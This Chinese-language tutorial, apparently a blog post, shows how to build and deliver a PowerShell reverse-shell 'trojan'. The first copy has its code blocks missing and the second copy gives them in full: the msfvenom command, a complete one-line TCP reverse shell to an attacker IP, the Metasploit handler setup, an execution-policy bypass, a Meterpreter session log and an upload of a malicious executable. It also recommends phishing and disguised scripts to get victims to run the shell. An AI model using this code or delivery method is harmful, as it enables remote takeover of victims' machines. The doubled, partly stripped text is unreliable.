### PowerShell Command 木马
PowerShell 是 Windows 系统内置的命令行脚本环境,因此在渗透测试中,攻击者常利用 PowerShell 脚本来执行恶意操作,而无需上传可执行文件。以下是使用 PowerShell 命令来生成和执行反向木马的一些常见步骤。
#### 1. 生成 PowerShell 反向木马命令
PowerShell 反向木马允许攻击者通过 PowerShell 执行命令来建立一个远程会话,这样可以在目标系统上执行命令、获取信息或者控制目标。
使用
例如:
这将生成一个 PowerShell 反向连接的命令,如下所示:
解释:
- `LHOST=192.168.1.100`:攻击者的 IP 地址。
- `LPORT=4444`:监听端口。
- `-f raw`:输出原始的 PowerShell 命令。
这段命令通过创建一个 TCP 客户端,连接到攻击者指定的主机和端口,并通过流将输入的 PowerShell 命令执行,然后将结果返回给攻击者。
#### 2. 启动 Metasploit 监听器
在 Metasploit 中启动 `multi/handler` 模块并监听反向连接:
- `set LHOST 192.168.1.100`:设置攻击者的 IP 地址。
- `set LPORT 4444`:设置监听的端口。
- `run`:启动监听等待目标机器的反向连接。
#### 3. 在目标系统上执行 PowerShell 命令
将上面生成的 PowerShell 反向木马命令传递给目标机器并在目标机器上执行。可以通过以下方式执行:
1. **直接在 PowerShell 中执行**:
在目标机器上打开 PowerShell 窗口并直接粘贴命令进行执行。
2. **通过社会工程学手段执行**:
通过社会工程学手段诱使目标用户执行该命令。例如,通过邮件、钓鱼网站或者在目标机器上放置一个伪装的 PowerShell 脚本,诱使用户运行。
3. **通过文件执行**:
将 PowerShell 反向木马命令保存为
#### 4. 接收反向连接
当目标机器执行 PowerShell 命令时,Metasploit 控制台将显示以下信息,表示已经成功获得目标的反向连接:
此时,你可以通过 Meterpreter 会话进行各种操作,如获取系统信息、执行命令、上传/下载文件等。
#### 5. 后续操作
通过反向连接,你可以执行一系列操作。例如,查看系统信息:
或者上传恶意文件:
#### 总结
PowerShell 反向木马是一个强大且隐蔽的攻击方式。它无需依赖可执行文件,而是通过 PowerShell 直接在目标机器上执行恶意命令。通过适当的社会工程学技巧或合法的管理工具,可以绕过防火墙和其他安全措施,进行渗透测试和攻击。
### 关键词
#PowerShell #反向木马 #ReverseShell #Metasploit #windows/powershell_reverse_tcp #Meterpreter #渗透测试
PowerShell 是 Windows 系统内置的命令行脚本环境,因此在渗透测试中,攻击者常利用 PowerShell 脚本来执行恶意操作,而无需上传可执行文件。以下是使用 PowerShell 命令来生成和执行反向木马的一些常见步骤。
#### 1. 生成 PowerShell 反向木马命令
PowerShell 反向木马允许攻击者通过 PowerShell 执行命令来建立一个远程会话,这样可以在目标系统上执行命令、获取信息或者控制目标。
使用
msfvenom 生成 PowerShell 反向木马命令:msfvenom -p windows/powershell_reverse_tcp LHOST=<攻击者IP> LPORT=<攻击者端口> -f raw例如:
msfvenom -p windows/powershell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw这将生成一个 PowerShell 反向连接的命令,如下所示:
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII.GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"解释:
- `LHOST=192.168.1.100`:攻击者的 IP 地址。
- `LPORT=4444`:监听端口。
- `-f raw`:输出原始的 PowerShell 命令。
这段命令通过创建一个 TCP 客户端,连接到攻击者指定的主机和端口,并通过流将输入的 PowerShell 命令执行,然后将结果返回给攻击者。
#### 2. 启动 Metasploit 监听器
在 Metasploit 中启动 `multi/handler` 模块并监听反向连接:
msfconsole
use exploit/multi/handler
set payload windows/powershell_reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
run- `set LHOST 192.168.1.100`:设置攻击者的 IP 地址。
- `set LPORT 4444`:设置监听的端口。
- `run`:启动监听等待目标机器的反向连接。
#### 3. 在目标系统上执行 PowerShell 命令
将上面生成的 PowerShell 反向木马命令传递给目标机器并在目标机器上执行。可以通过以下方式执行:
1. **直接在 PowerShell 中执行**:
在目标机器上打开 PowerShell 窗口并直接粘贴命令进行执行。
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII.GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
2. **通过社会工程学手段执行**:
通过社会工程学手段诱使目标用户执行该命令。例如,通过邮件、钓鱼网站或者在目标机器上放置一个伪装的 PowerShell 脚本,诱使用户运行。
3. **通过文件执行**:
将 PowerShell 反向木马命令保存为
.ps1 脚本文件,例如 `reverse.ps1`,然后通过以下命令执行: powershell -ExecutionPolicy Bypass -File reverse.ps1
-ExecutionPolicy Bypass 用于绕过 PowerShell 的执行策略,允许执行脚本。#### 4. 接收反向连接
当目标机器执行 PowerShell 命令时,Metasploit 控制台将显示以下信息,表示已经成功获得目标的反向连接:
[*] Started reverse TCP handler on 192.168.1.100:4444
[*] Sending stage (179779 bytes) to 192.168.5.233
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.5.233:4444) at 2024-11-09 22:14:57 -0500此时,你可以通过 Meterpreter 会话进行各种操作,如获取系统信息、执行命令、上传/下载文件等。
#### 5. 后续操作
通过反向连接,你可以执行一系列操作。例如,查看系统信息:
sysinfo或者上传恶意文件:
upload /path/to/malicious/file C:\Users\Public\malicious.exe#### 总结
PowerShell 反向木马是一个强大且隐蔽的攻击方式。它无需依赖可执行文件,而是通过 PowerShell 直接在目标机器上执行恶意命令。通过适当的社会工程学技巧或合法的管理工具,可以绕过防火墙和其他安全措施,进行渗透测试和攻击。
### 关键词
#PowerShell #反向木马 #ReverseShell #Metasploit #windows/powershell_reverse_tcp #Meterpreter #渗透测试